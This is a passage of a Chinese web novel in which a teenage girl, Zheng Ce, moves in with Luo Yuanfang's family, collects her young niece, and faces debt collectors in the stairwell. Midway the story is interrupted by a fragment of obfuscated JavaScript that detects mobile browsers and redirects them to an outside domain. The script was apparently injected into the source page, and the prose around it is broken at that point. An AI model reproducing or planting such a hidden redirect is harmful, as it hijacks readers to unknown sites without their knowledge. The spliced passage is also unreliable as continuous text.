骆远方都知道人家爸妈去世了,还揪着伤口撒盐是不是太缺德了! “个逼养的。” 他拧着眉咬牙暗骂了句,就在余光里看见一个身影一闪而过。 紧接着,闷响一声。 郑策扔起旅行包,抵住韩忠夏胸口,一手钳着他下巴,就把他往墙上推。 她个子不矮,身手又敏捷,做到这个动作轻而易举。 招式和那天抓扒手一模一样,但胜在速度,一般人来不及反应。 胸口突如其来的重量还有郑策瞬间的推搡让韩忠夏有些措手不及。 他为了保持平衡,愣是被挟制仰着头后退了好几步。 直到后脑勺磕上凹凸不平的石墙。 “郑策。”骆远方喊了她一声。 毕竟如今宋熙是她监护人,就算真的搬出去了,闹得太难看也不好收场。 郑策明显很生气,掐着韩忠夏下颌的手有些微微发抖。 她僵持了两秒,猛地松手。鼻孔里哼出没咽下去的气,头也没回轻声道: “走吧。” “等等。” 骆远方走了两步,忽然回头看又钻进车库的韩忠夏。 他问了句:“东西检查一下,确定拿完了?” 郑策拧着眉不太耐烦想呛回去,忽然睁大眼睛,看着他。 “什么意思?” “这种人见得多了,等我一下。” 他把行李箱放在院子里,说完就大步走进车库。 紧接着听见房间里传来韩忠夏还没缓过来的嘶哑吼叫。 “你他妈在谁家耍横呢?” 骆远方没理他,只是向两人抬了抬下巴,“外套脱了,裤兜翻出来。” “你是不是有病,跟你那……” 韩忠夏见识过骆远方的狠劲儿,明显不太想招惹他,但嘴里还不饶人地瞎逼逼。伸脚不动声往后踢了踢什么东西。 “骂我爹妈?我可就没有郑策那么温柔了。” 骆远方撕下脖子前面的膏药,活动了一圈颈椎,然后歪头看着他。 “我操了!” 韩忠夏手肘撞了撞宋熙,自己先脱了外套,翻开衣兜。 “睁大你狗眼看清楚!” “你他妈再骂一句!” 骆远方忽然一踢铁桌,桌子晃动,撞上旁边的椅子和衣柜,动静不小。 他吼了句又沉声道。 “我跟你可没什么面子可讲。” 韩忠夏再混,最多谋财,不敢伤人,可眼前这位祖宗一身的伤就不一样了。 宋熙更被吓得不知所措,站在对面不敢言语,没想到郑策真的和这位勾搭上。 骆远方沉着脸检查完,直接出了车库。 路过郑策的时候,推上两个箱子道:“跟着我。” 郑策背了个书包,提着一个户外包,本想自己再推一个箱子,拉杆却被骆远方直接抢了过去。 骆远方虽然只穿了件黑色卫衣,但寒风里冷不丁触碰到,竟然能感受到他的体温,很烫。 可能是为了一气呵成,骆远方根本没看,就压着郑策的手去拖箱子。 郑策被烫了般,立马抽回手,回头看了眼车库,也跟着他出去。 “去哪儿?”她小跑两步跟上,面色冷肃,眼神凌厉,根本没有落荒而逃的狼狈。 “先把跟屁虫甩掉。” 骆远方说完就拐进一个巷子。 郑策回头。 宋熙不知何时跟了出来,皱着眉一脸担心地落在后头几步远。 她脚下一顿。 “别去。” 骆远方说,“现在太混乱,她也做不了主。冲动的时候少做决定。” 绕出巷子就到了江蔚云她们学校门口。路过金店的时候,那个灰蓝色头发的男生朝他们吹了吹口哨。 ……这个傻逼。 “认识韩忠夏老婆么?”骆远方迅速问。 “认识,不熟。” 周全皱了皱眉看过去,这才意识到气氛不太对,压着声音问。 “怎么了?” “正好。帮着拦一下。” “没问题。”周全吹了声口哨。 两人再往前走一截,就听见周全轻蔑又欠揍的声音在后面响起: “诶阿姨,买黄金吗?进店看一下呗?都是真家伙……” 宋熙不是这些混子的对手,着急地困在原地,看着他们离开的背影。 再往前走就是涪江江边。 总算甩掉姨妈,郑策心里还咚咚咚个不停,心跳连接了血液,跳动的声音有些震耳欲聋。 还心乱如麻。 她停下来。 “对不起添麻烦了。” 她从书包里拿出那个磁带递给骆远方,“就到这里吧,我缓一下。” 旁边小区门口的大爷套了一件军绿色大衣,又在外头裹一层小花被,蜷缩着坐在门口小木凳上。 郑策吐出一口气,瞬间在空中结成白雾,她透过白雾看那大爷,还有些五花马,千金裘的潇洒。 骆远方接过磁带,却站着不动,过了片刻才垂眸看着手里的磁带盒,轻笑道: “什么情况了都,真有礼貌。” 他还想说什么,忽然郑策哈啾哈啾连打几个喷嚏,骆远方连忙把纸巾递过去。 郑策脸部表情变化太大,刚又一顿运动,眉毛上两颗“钉子”被震了下来。 郑策:…… 骆远方有些想笑,却忽然发现郑策眼角有些泛红,他连忙一脸严肃偏过头去。 手不知所措往兜里摸了摸,摸出一包烟。 “你手没事吧?提这么重的箱子。”郑策拧着眉看他刚自行拆开绷带的手。 声音有点闷。 “你腿都能翻墙了,我还那么娇气么?” “……你抽烟?”郑策又问。 “这个?”骆远方抬了抬手里烟盒,揣回兜里。 “不抽。跟你眉毛上的家伙什一个作用。” “给我一根。”郑策扑哧笑了下。 “你抽?”骆远方犹豫道。 “不抽,玩儿玩儿。” 她头发散着,在风里有些凌乱。 “你寸头不冷么?猫猫狗狗冬天都不剪毛。” “靠。” 两个人默契地笑了。 骆远方笑着又问:“有什么打算?” 去找宋乐洋吗?郑策想。 但她根本没有宋乐洋的联系方式。 更何况这个自由职业者是不是法外狂徒都有待商榷。 还风餐露宿的。 她一个人倒是也凑合,但还带着个江蔚云…… 郑策趴在石护栏上,盯着涪江沉吟了会儿。 沿江步道上的垂柳发了新 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“你还真是好养活啊。”骆远方皱眉感叹。 “我还可以顺带跟你聊聊,下午班里的淹屎之乱。”郑策看他。 “打住。” 骆远方拒绝这个话题,他也能看出眼前的人在故作轻松。 郑策的侧脸很好看,背后是灰蒙蒙的天和沉沉流动的江水。 她的脸上始终带着淡淡笑意,偶有两根长发被风吹过来,扫过他下颌,带着奶香。 骆远方说:“我今天来找你是因为,骆淇让我问你,愿不愿意搬过来住。” 郑策眼神顿住片刻,接着往他这边看过来。 太阳短暂地从云层里探出半张脸,丁达尔效应下,光像是从他头顶打下来,连带着骆远方周围的空气都有了更高浓度的氧气。 郑策贪婪地深吸一口,冷空气灌进肺里。 “不是只有三个卧室么?” “我和骆乘光住一屋。” 骆远方又补充,“但是去我家得先说好,不能随身带着刀。你们房间我们不会进。但家里住个恐怖分子还是挺吓人的。” 这得多没安全感,在自己姨妈家住着,还在枕头下面藏着刀啊。 郑策还是盯着他没说话。 原来都听见了啊…… 那似乎也没什么可隐瞒的了。 骆远方也看着她,等她的回答。 江风吹得她浓密睫毛微颤。她鼻梁高挺,在这种雾蒙蒙的天里,五官像是水墨不经意勾勒,笔锋顿挫有力,线条流畅利落。 而那双眸子却格外纯澈,映着江天。 “咽下去。”骆远方提醒她。 “……谢谢。”郑策有些难以置信地咽下去,又说。 “感动也别哭啊。” 骆远方转身也趴在石护栏上,微微仰头,眯上眼睛感受风。 “其实你这样也有好处,起码过年的时候少了一年一度和亲戚虚以委蛇的环节。洒脱!” “是嘛。”郑策笑着答道。 “郑策。” 骆远方慢慢睁开眼,看着远处江面,严肃道。 “我为我之前的话道歉,既然回来了,就努力生活呗。力气不会白费,出了力就会有结果,好的也好,不顺心的也好。我不知道你这几年经历了什么,反正骆淇见你第一眼就说你和别的女孩儿不一样。但是,人生不就是经历嘛。” 郑策笑着转头看他,不打算正面回答。 “我才该问你经历了什么吧,话真多,跟刚放狠话的完全不是一个人。不过,你这长相应该走的是高冷酷拽人设……” 说到一半,她忽然愣住。 因为离得很近,可以清晰地看见骆远方脖子上膏药遮过的皮肤有些惨白。 但除了车站见面那次看见的擦伤外,骆远方左侧锁骨上方不远处有一截横着的疤痕。 很小,但能留到现在这个样子,应该不浅。 她没来由地想起回小镇的第一个晚上,骆远方仿佛没有疼痛神经地钻进荆棘丛。 还有他在自己左臂上毫不留情的一刀。 郑策下意识咽了咽喉咙。 “我呢什么人设都帅。也就是随口道个歉,大丈夫能屈能伸。” 骆远方从兜里掏出两个葡萄味儿棒棒糖,给她一根。 “古人见江面壮阔都能有感而发,我就感发感发。人生仅此一次,每天都会有新的问题,跌跌撞撞,还是得步履不停。” 郑策接过棒棒糖,跟他手上那根磕了一下。 “敬仅此一次的人生。” 她拆开塑料包装,又问:“但是你为什么随身带着棒棒糖?” “我一动脑子就头晕,刚才的发言差点把CPU给烧了,补充点糖分。就是个糖精脑子。” “怎么不说话?”骆远方继续闭上眼睛应着风,嘴角慢慢勾起,“太感动了?” “虽然说了很多遍,但还是很感谢。” 郑策深吸一口气,也转过头去。 “有空请你吃饭。” “好啊。” 骆远方果断应下,语气瞬间松快了许多。 “不过你这行李确实太多了点。” 他看着几包东西陷入沉默。 “待会儿叫个苦力来帮忙。” 话刚说完,骆远方的视野里,忽然钻出一个毛茸茸的小可爱。 小可爱背上是黄色的,两个屁股蛋是白色的绒毛,蹭着他裤脚就踩上他的鞋子。 骆远方僵住两秒,低头去看。 他甚至感受到了这只柯基的体温,是滚烫的! 瞬间耳边嗡鸣一片,从头到脚的汗毛喊了声:“立——正,向右——看!向后——转!” 下一秒。 骆远方想都没想,伸手直接抱住郑策,双眼紧闭。 他埋头在郑策颈窝间,哀求道:“拿开拿开拿开!去去去!” 14. 现在还敢住么? “不咬人的不咬人的。”一个阿姨连忙蹲过来抱狗,生怕慢一步骆远方一脚就给踹了。 “好了已经走了。” 郑策看了眼无辜的小狗还在嗅骆远方,忽然想逗逗他。 “还在喘气儿!我裤腿能感受到!” 骆远方与其说抱着她,不如说将自己僵成了块铁板,而郑策刚好卡在中间。 “哎哟,不喘气儿还行嘛!一米八大小伙真看不出来啊。” 小柯基又挣扎了两下,才放弃抱骆远方大腿,阿姨走之前忍不住又解释了句:“真的不咬人。” “要不是你冷汗都吓出来了,我会以为你占我便宜啊。” 郑策仰着脖子没动,跟罚站似的,双手紧贴在裤缝线上,眨巴眨巴眼睛。 骆远方沉默着放开她,转过身去,没说话。 主要是脸被丢尽了…… “没什么,挺可爱的。” 郑策背着手转到他面前,面对面站着,俯身去看骆远方的表情。 “狗吧,你越鬼鬼祟祟,它就越想找你玩……哎——” 她叹了声。 “滚蛋。” 骆远方迅速抹了把眼角,“你不懂,我这是物理反应。” “指甲花包的吧?我外婆以前也老给我包,十根手指,十根脚趾,晚上睡觉跟自己裹在粽子里一样。” 郑策打量了一下他手指,避免他尴尬转移话题道,“还挺怀念的。” “家里还有,骆淇刚从人家花园里偷的,你回去就能实践,用不着怀念。” 郑策笑着一挥手,“算了,上学的时候包,看着确实……有点傻气哈。” “靠。”骆远方说着没忍住笑了。 清华楼是她的过去,是他的现在,郑策走在熟悉的路上,一时有些走神。 南方沿街的景观树下一般是个土包,北方街边树下则多是一个坑,据说是南方多雨,北方干旱的区别。 但一到冬天,全国的树干都清一色刷上白漆,文艺点儿的地方还会给裹一层毛衣,看着十分暖和。 临街一楼用透明防水塑料布围成一个四四方方的封闭空间,里头摆一张麻将桌。 四个人就能寒暑不歇,雨雪不停地码长城。 “以前也没这么悠闲啊。” 郑策一晃眼看过去,防风麻将桌边坐了好些都是年轻人。 骆远方轻嘲一声,“那是以前没拆迁,拆二代现在日子过得可滋润呢。” 郑策忽然想到宋熙的话,骆远方家本来也在拆迁范围的。 她于是没接话。 这几年这边热闹多了,但又没发展,路上都是黑色的油,显得又乱又差。 街边好不容易开了家花店,老板却用自家花架全占着人行道,洒一地的土。 行人不得不在人行道和马路上蛇形。骆远方始终走在她右侧,挡在来车的方向。 两人拖家带口到楼下时,骆远方忽然停住。 “您请吩咐。”郑策把箱子放正,心有灵犀地说。 平日里,虽然骆远方看着徒手撕歹徒,拽得二五八万的模样,心思却出奇的细腻。她等待指令。 “先把剩下的一个给摘了,回去吓着老太太。” 骆远方指了指自己眉骨说,“还有,别提之前在派出所的事儿,她具体的不清楚。” “明白船长。”郑策爽快答应。 “哎哟这谁家姑娘?长得真白俊。” 自动麻将机开始刷刷刷洗牌,临街的一大姨看见郑策高声问。 “反正不是您家的。” 骆远方说,“留心手气吧。” “嘿这小子……”大姨啧了一声。 四排麻将摞得整整齐齐升出桌面,她又迅速投入战斗。 郑策熟门熟路正要上楼,被骆远方一拦,正要问还有什么吩咐,就见他下巴一抬。 “劳工来了。” 向他们走来的,正是骆家二号牛马,骆乘光同学。 骆乘光从教室偷了几根粉笔,脑袋上顶着头戴式耳机,一路沿着围墙画了根笔直的线。 遇见大门,还得踮脚从人门框上越过去,保证白线不断。 这是什么行为艺术? 但鉴于这些居民楼的水泥墙本身就够磕碜的,貌似也没人在乎。 骆乘光似乎感受到了来自自家兄弟逼人的目光,停下脚步看过来。 “嚯,去哪儿批发了?” “先搬上去。” 骆远方说,“这祖宗据说还有几大箱快递到了,等会儿去快递站批发。” 郑策和骆远方算比较熟,但和他家人又是另一回事,此时有些拘谨地朝骆乘光笑笑。 骆乘光也朝她点头笑笑。 很尴尬啊很尴尬…… 然后小骆同学就遭到了亲哥毫不留情的一记爆栗,“范儿大呢你,叫人姐姐。” “姐姐。”骆乘光道。 “哎,上去吧上去吧。” 郑策感觉自己承受不住这样一声姐,点头哈腰地答应。 “叫魂儿呢?来了来了。” 在骆远方坚持不懈地敲门下,骆淇从厨房小跑着去开门,一看见骆远方就问。 “让你问人的事儿问了吗?怎么回的啊?” “让让让让。” 骆乘光先挤进门,把行李箱放地上才说。 “怎么回?直接回。” “骆奶奶好,给你们添麻烦了。” 骆远方往旁边让了一步,骆淇才看见郑策站在门外。 楞了瞬,这活了几十年的人精立马想明白大概,疼爱地过去拉她的手。 “麻烦什么,来了就好,跟我们住就没那么多规矩了啊。” 骆淇伸手去握郑策的手腕,拇指和中指盈盈一握。 “哎哟,你太瘦了,今晚我做了好吃的,待会儿多吃点啊。” 郑策状态恢复得很快,丝毫没有刚从韩忠夏家逃出来的慌乱和恐惧,以及在桥上的迷茫伤感。 她动作利索地把当前的行李随便放进屋里,出来看见厨房的顶灯没人换,说着就要去换。 生怕自己不讨喜,下一秒就会被人撵出去的样子。 骆远方和骆乘光两人呼哧呼哧休息的时候,她甚至把客厅的地都扫了个来回。 啧。 骆远方没说话,沉默着看她劳作。过了会儿让她把快递号发过去,带着骆乘光去了快递站。 但他这一走,郑策莫名有些慌。 分明是熟悉的环境,但现在却是别人的家。而她唯一熟悉的人啧了一声,帮自己搬行李去了。 郑策不明白自己踩着骆远方哪根尾巴了。 甚至在自己提出要一起搬的时候,还被不耐烦瞪了眼说不要去添乱。 不大的客厅,此时显得空落落的,郑策只想尽力把骨骼都缩拢起来。 减少自己的体积,以免目标太大。 “天官儿诶,嘴巴上还涂着口红呢!” 骆淇忽然在她背上打了一下。 “你们现在是高中生,怎么搞这些花里胡哨的,快去卸了!” 郑策被吓得有些愣住,看了骆淇快十秒。 还没想明白这老太太怎么翻脸比翻书还快,就连声应好去厕所。 看着镜子里的自己,她忽然惊醒。 刚才的失落在瞬间被骆淇这一声吼给清理得干干净净。 一丝影子都没有。 她俯身把水扑到脸上,冬日刺骨的凉意让她长长舒出一口气。 骆淇下手不轻,背上还有阵阵火辣辣的疼。 但就是莫名有些安心。 被拉入别人的圈子里,不考虑你面子,单纯为你着想,管你要不要脸的那种熨帖。 把你当做一家人的欣慰。 她收拾完矫情的心情,恢复洒脱酷姐形象也转战厨房。 “奶奶,我看您上回额头上的伤都好得差不多了,下回可得注意。” 骆淇不客气地分给她一篮没洗的菜,楞了两秒忽然狂笑。 “那是骆远方画的战损妆,跟你装可怜的,逼真吧?” “骆远方还有这一手呢,手艺不错。” 郑策惊道,也不追究他们的诈骗技术。 若是要一笔一笔地算,她在医院坑了骆远方的钱,骆淇又在烧烤摊骗她狗肉吃,那就算不完了…… “他画画是不错。” 骆淇不知道为什么有些感慨,似乎对自己孙子画画好看并不开心。 “就是画画啊,写字啊都要用眼,小子已经近视了都!我给他包了指甲花明目,你要不要来点?” “不用了,我眼睛挺好,还没近视呢。” 想起骆远方十指上的创可贴,郑策连忙拒绝。 “我们这儿可没人会客气。” 骆淇斜她一眼,“住过来了,就不要把在你姨妈家的臭毛病带进来。” 她又指了指自己耳朵,“这一排金属钉吓唬谁呢,以为这样随时像能进局子的样子就无坚不摧了吗?真正强大的是这儿,心,而不是别的花里胡哨的东西,懂?” 郑策忽然鼻子有些发酸,郑重地点点头。 “懂。” 此时门外抗货的两人吭哧吭哧推门进屋。 骆淇见着一客厅堆满了纸箱,摊着手惊呼:“天官儿诶,你这是把宋熙家搬空了?” 骆淇举着两手的油在一堆纸箱子里溜达一圈,叹道:“这么多东西,丢个一件两件的,能发现吗?” 这些其实都是以前家里的东西,郑策收拾了半天,随便哪些都舍不得丢,索性打包都寄了回来。 以为自己起码有一间房间,没想到最后是住车库。 几个人帮着收拾的时候,骆乘光拿出了一袋用光了笔芯,还有一包衣服吊牌。 看得出他压抑了不爽的情绪,才慢慢问道:“……请问这是?” “笔芯是我高中三年所有用过的笔,吊牌上还有一些小扣子和小棉花,万一……有用呢,就没丢。” 郑策有些心虚。 “……靠。” 骆远方好不容易缓过气来,看着骆乘光手里的东西,憋半天憋出一个字。 原来他刚才就跟个卖废品的似的,扛着一箱箱总价不过三位数,还死沉的东西来来回回。 他有些想死。 还好他那箱子里都是些衣服和照片。 “东西要分类么?” 骆远方已经失去笑容了,“照片就这么几张?” “嗯。” 郑策接过去,看了一眼便顺手塞进了另一个箱子。 “没事,挪进房间里,我能收拾。” “……祖宗,我怕那小房间塞不下。” “骆远方。” 骆淇在厨房里喊了声,“不用你帮,就进来帮我。” 骆远方刚端着水杯刚进去,厨房门就嘭地一声在背后关上。 他吓了一跳,小声道:“你要杀人灭口?” “你还不值得我动手。” 骆淇觑他一眼,单刀直入,“你和郑策有仇吗?” 骆远方顿了下,“我红苕稀饭胀多了,我把仇人带家来。” “没有?你见人的时候一直丧着个脸。” 骆远方往灶台边一靠,被骆淇连忙打了一巴掌,“往哪儿靠呢,全是油,衣服又洗不干净。” “我洗得干净!” 骆远方立马争辩,顿了下又琢磨道,“我感觉她太别扭了,看不惯。” “虽然知根知底,毕竟对我们不熟,你还指望她一来家,不脱鞋就瘫沙发上呢?” 骆远方怀疑这句话在阴阳他们两兄弟。 “姑娘心思都细腻,你这态度我都能感受到,你收着点。” 骆淇小声说,“知道我孙子出发点是好意,不想让她太拘束。但她刚寄人篱下结束,还不知道自己能在我们这儿住多久,得给人时间缓冲,听见没?” “听见了……” 骆远方抿了抿唇,不耐烦地绷成一条狭长的直线。 她还不知道自己能住多久? 这是住两天就想跑么? 那他刚费劲巴拉搬上来的东西算什么! 有些不爽。 虽然当事人什么也没说,只是骆淇凭空猜测,但有一点苗头和可能性,骆远方就冒火。 “想什么呢!” 骆淇又给他脑袋瓜一巴掌,还是压着声音道。 “你没回来之前,姑娘一直笑眯眯的,你给我注意点表情管理。” 骆远方:? 一直笑眯眯? 您是不是对郑策有什么误解。 他疑惑地还要辩一辩,骆淇立马拍了拍肩转身,正常音量道: “哎哟,耳鸣又来了,不要老惹老年人生气,你个不肖子孙。” “……我的错。” 骆远方心里只剩一句:姜还是老的辣。 骆远方前脚被叫进厨房,郑策后脚便很默契地没再麻烦骆乘光。自己把东西搬进卧室,就一直没出去。 给他们留出空间。 骆奶奶是个好人,说不定要教导两个孙子以后对她们客气点。 多多少少会和别人隔着一层,客人就客人吧,郑策往床上一躺,比仆人要好多了。 这个房间正好就是她之前住的屋子,熟悉的气息带着难得的安稳让她忍不住闭上眼睛。 刚骆远方递过来的照片,第一张就是他们的全家福。 冷不丁看见熟悉的三张脸,郑策心里一滑,踉跄了一跤。 照片里,旁边的小女孩儿还笑得无忧无虑,她心底酿出一股冷笑,以后有她的罪受喽。 不知道什么时候睡着的。 被一阵十分不耐烦的敲门声叫醒时,郑策一个鲤鱼打挺,直立在地上,表情依旧茫然。 “你不是还有个外甥女么?不要了?”骆远方在门外问。 下一秒,门被十分狂野地打开,掀起一阵风。 还带着奶味儿。 一个人影从他旁边挤出去,“完了完了,她不会回姨妈家了吧!” “你才刚回来没几分钟,不会这么快的。” 骆淇在厨房喊,“不要急,让骆远方带着滑板去接,小孩子最喜欢坐他滑板前面。” 郑策这才猛地顿住脚步,抬头一看墙上的钟。 她才睡了五分钟。 她有些怨恨地朝骆远方看过去。 “我又没说来不及了。”骆远方举起双手,作无辜状。 他又大声回答骆淇的话,“就算是这个家的牛也要休息吧,我……” 厨房里传来菜刀猛地砍到菜板上的声音。 咔嚓。 “我出发了。”骆远方把墙角的滑板一拿就往外走。 “我也去。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812343|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江蔚云鬼机灵的很,不一定能跟陌生人人走。 郑策两步跟上他,下楼的时候看了骆远方一眼,“你会滑?板子还挺长。” “有脚就行。” 骆远方说,又回头瞅她。 “我不会让你坐前面。” “你当你这总裁副驾呢,我稀罕。”郑策切了声。 因为郑策跟着,骆远方一路上都抱着个板子。像个白痴在街上背着吉他包装逼一样,给人半灌水响叮当的感觉。 这里司机素质都不太行,一个个奔着投胎的速度在城市里乱窜。 前面红灯就有两辆车吵起来。 一辆车的副驾和一辆车的司机都没开门,把脖子伸出去吵。 叽叽喳喳唾沫横飞,祖宗八代全上阵。 绿灯一亮,窗户一关,又各奔东西。 能在寒风里把脖子伸出来,郑策感觉都辛苦他们了。 正想再问旁边的哥们儿一句,您拿着滑板不累么,他就将板子放在了地上。 “你去吧,我在对面等你们。” 郑策双手插在裤兜里,向他抬了抬下巴。 她可不想像个傻子,追在滑板身后奔跑。 我靠? 虽然骆远方本就打算自己去,但这副被使唤的状态,有些不爽。 “你带着这个,不就是给她在小朋友面前长脸的嘛,我就不去败兴了。” 郑策依旧面无表情,一副朕将大任交付予你,莫要辜负朕苦心的样子解释道。 骆远方看了她一眼,没说话,朝校门口滑去,门卫认识他,也没阻拦。 他把卫衣帽子拉下来,把整张脸遮了个大半。 可能刚才一直抱着板子,手冻僵了,双手都藏在兜里,长腿有一下没一下地滑着。 看着很轻松,有种慵懒的痞气。 很帅。 但是…… 这技术也不怎么样嘛,难怪一路上都不肯滑一下。 不一会儿,听到轮子摩擦地面滚动的声音,郑策再抬头望过去。 滑板前面多了一个小雪人,四肢张开,满脸欢心地咯咯笑着。 小雪人身后还是立着那根冻人的冰棍,或者说面无表情的滑板启动器。 江蔚云玩得开心了,根本没看见郑策。等红灯的时候仰头望骆远方,小脑袋没保持住平衡,一下子抵在他腿上。 她问:“我小姨妈呢?你是不是要卖我?” “你再晚点问,我都能倒手一圈了。” 骆远方一脚撑在地面,弯腰把她扶正,嫌弃道: “你太大了,卖不掉。” “我小姨妈出事了吗?” 不知道是不是踩着她尾巴了,江蔚云忽然瞪大眼睛。 骆远方看着前方不远处的郑策,道:“嗯,你小姨妈把你卖给我了。” 江蔚云这下立马挣扎着下了滑板。骆远方注意拦着她别一不小心跌到马路上去了。 江蔚云裹得太厚,小手背到身后去,想拿帽子带上,愣是原地扭着头转了两圈也没够着。 骆远方二话没说,伸手一扯就给她扣上了。 很粗鲁。 但小陀螺这才仰着头对他笑:“谢谢哥哥。我看见我姨妈了。” “啧,给我降了一辈儿啊,叫叔叔。”骆远方说。 江蔚云笑得很甜,立马坐回去,仰头看他,“谢谢叔叔!” 她小胖手指着前面,清亮亮喊了声:“驾!” 骆远方:…… 还好这架马车坐过马路也就罢工了。江蔚云要去买文具,郑策陪着她,也没让骆远方跟着。 骆远方大概知道她们会说些贴心话,嗯了声就顾自朝前先走。 江蔚云很机灵,郑策偷工减料讲了个大概她就明白了。 “所以你们是很好的朋友。” “嗯?”郑策从超市货架上拿了管炼乳,“什么?” “我只会把好朋友带到家里去。我们住叔叔的家,说明叔叔和小姨是很好很好的朋友了。” “这么说,也可以吧。”郑策说,“你应该叫他哥哥,人没那么老。” “他说我叫你小姨,就不能叫他哥哥,显得比你矮一头。” “行吧,东西选好了吗?” 郑策笑着揉了揉她的头。 “待会儿回去的路,我多带你走几回,以后来不及接你,你就得自己回去知道么?” “明白船长!”江蔚云声音清脆。 郑策本想给骆远方他们也带些零食回去,但一来不知道他们的口味,二来显得太功利。 前脚刚入住,后脚就去讨好,未免有些难看。 虽然这房子是他们不正当手段得来的,但人付的钱她还不上,现在已经不算自己的家了。 她不得不多考虑几层。 而她们到楼下时,骆远方竟然靠在墙边在等她们。 黑色兜帽遮住眼睛,抿着的薄唇有些不耐烦。 郑策诧异:“怎么不上去?” “怕你找不到路。” “吃么,炼乳还没拆封,给你吃。”郑策把手里的东西塞给他。 骆远方接过一大袋零食,挑了挑眉,“你干吃这玩意儿?” 难怪浑身萦绕着奶味儿。 “很好吃,你尝尝。”郑策真诚推荐道。 骆远方皱眉看了眼袋子里的东西,“怎么买这么多零食。” “又不是花你钱。”江蔚云似乎感受到气氛不对,嘟囔了一句。 但她明显猜错了骆远方的意思。 意识到气氛再次不对劲后,这个小人精喊:“小姨妈,我想吃巧克力。” “忘买这个了。”郑策一拍头。 “我有。” 谁料骆远方直接从兜里掏出一小块,递给她。 “但要吃饭了,少吃点。” 两人齐刷刷看向他。 他耸了耸肩,满脸不能理解。 “怎么了?” 骆远方带着她们走在前面,快到楼梯口时,忽然退回来,拦住她们。 “什么情况?”郑策问。 骆远方没说话,只是往楼梯间扫了眼。 郑策顺着他视线看过去,立马也皱了皱眉。 大概有五六个男人,在门口席地而坐,嘴里叼着烟,满楼道烟熏雾绕。 有两个身上的皮衣都开裂了,大冷天穿着破洞裤。 所有人都没说话,但能感受到氛围很压抑。 “干什么的?”她把江蔚云拉到身边,压低声音问。 “上门找麻烦的。”骆远方似乎不愿意多说,拧着眉毛。 “找你麻烦?” “嗯。” 过了会儿,他嗤笑一声看着郑策,“现在还敢住么?” 郑策盯了他一眼,转身直接上楼。“跟上。” 楼梯间几人见着有人上楼,都警惕地朝他们看过来。 郑策一马当先去破阵。 挡道的人没动,郑策就冷脸看着他,首先分析了下这人的惯用手,还有楼道里她能迅速拿到的趁手工具。 对视几秒,一阵风刮过,郑策毫无预兆忽然打了喷嚏。 那人被吓了一筋斗,差点跳起来。 气氛紧绷的时候,不能一惊一乍知道吗? 你这是作弊! 作弊者还礼貌地招呼了句,“让一下,谢谢。” 15. 谁的心跳加快 破洞裤诧异地抬头望了郑策一眼,对这个小姑娘的气势有些发怵。往旁边挪了挪没说话。 郑策转头对门口喊了声:“不回么?” 但等骆远方的身影出现在楼道口时,周围的人忽然都站起来了。 个个人高马大,把本就昏暗的楼道顶灯给遮了个严实。 没想到动静会这么大,郑策吓了一跳。 按照宋熙的话,骆远方的爹放高利贷被抓后,必然有些连本带利还完了的倒霉鬼不服气来找麻烦。 想必这些人是来讨说法的。 她不知道自己爹妈如果真的把债还完了,他们会不会也这样去别人家示威。 但屁股决定脑袋,她现在站在骆奶奶的立场上,对这些人没有一点好感。 没错。 就是这么功利。 骆远方看了他们一眼没说话,先把江蔚云牵过来,让郑策接一下。 他再慢悠悠晃上楼的时候,楼道里所有人都沉默着,看着他。 外面并不安静,有爆粗口的司机飞驰而过,还能听见哪家锅铲碰撞发出炒菜的声音。 但此时的二楼像是被阴暗的光线单独切割开一个独立的空间。 氧气稀薄。 死寂。 骆远方眼里很冷,始终目中无人地板着一张脸。 直到他走上楼梯,被破洞裤撞了下胳膊。 那人很瘦,力道不大,他只是顿了下。 破洞裤沉着声说:“欠债还钱。” 骆远方微微偏头,盯着他。 他不想在郑策和江蔚云面前动手。 过了会儿,他继续上楼,又有一人挡在他面前。 郑策这时有些后悔,不应该莽撞地上楼。 情急下,她余光里看见墙角有邻居放在屋外的扫把。 她把江蔚云往身后不动声色挡了挡。 而那边,骆远方只是眉头微蹙了下,侧身打算避过挡路的人。 但让人没想到的是,郑策眼睁睁看着骆远方绊上那人的脚,往前一倒。 那人不是故意使绊子,郑策来不及想骆远方为什么如此轻易被放倒,眼看着他脸就要磕上台阶。 几乎是一瞬间的反应。 她先顺手抄起扫把,两步跨到楼梯口,在骆远方胸前一揽,将将稳住。 这角度,如果真摔下去,两只眼睛都得废。 追个债至于嘛! 怒气拔地而起,郑策转了下手里的扫帚,抵着那人的下巴戳去。 半道儿却被骆远方一把握住。 “别闹太大动静,出血骨折就能去派出所坐一圈了。” 骆远方沉声扫视四周。 骆远方呼吸很近,声音很稳。气息扑在她颈侧,郑策听话地卸了力。 这些人看来不是惹事的,单纯在人家门口静坐恶心人呢。 骆远方这话也不是对她说的,而是在提醒这些人。 少惹事,不值当。 盯着几个人不服气地离开,他们进门的时候饭已经做好。 骆淇和骆乘光窝在沙发里看电视,但明显心不在焉。 看见他们楞了下,眼神往外瞟了一眼,门就被骆远方迅速关上。 “没事吧?”骆淇紧张地问。 “他们不敢。”骆远方把零食袋子放茶几上。 “那我去盛饭,可以开吃了啊。”骆淇起身去厨房,似是松了一口气。 “别把锅巴全粘碗边了,不好看。”骆远方应了声。 郑策也跟着骆淇进厨房帮衬着,努力改善氛围,“怎么会,好吃,我就喜欢吃锅巴,奶奶他不吃的给我!” 骆淇在厨房里叽叽咕咕不知道又说了什么,反正是在说骆远方的坏话。 骆远方竖起耳朵没听清,对着厨房又是一通喊,“人这是在恭维你呢,还当真了!” “我就爱听,滚你的!” 因为还在正月,骆淇做的很丰盛。 她炒菜煮面都爱放猪油,特别是腊肉土豆丝儿,一股农家小炒的味儿。很香,也很熟悉的味道。 以前,郑策家吃饭一般在餐桌上速战速决,几个人聊聊近况,吐槽吐槽饭菜就过去了。不算多冷漠,也不会多热闹。 但骆家明显是两种模式。 骆淇和两孙子抱着碗和盘子就往茶几那儿跑,摆好桌后各自挑个舒服的姿势就开始一边看电视一边吃。 嘴巴里吐槽还不停。 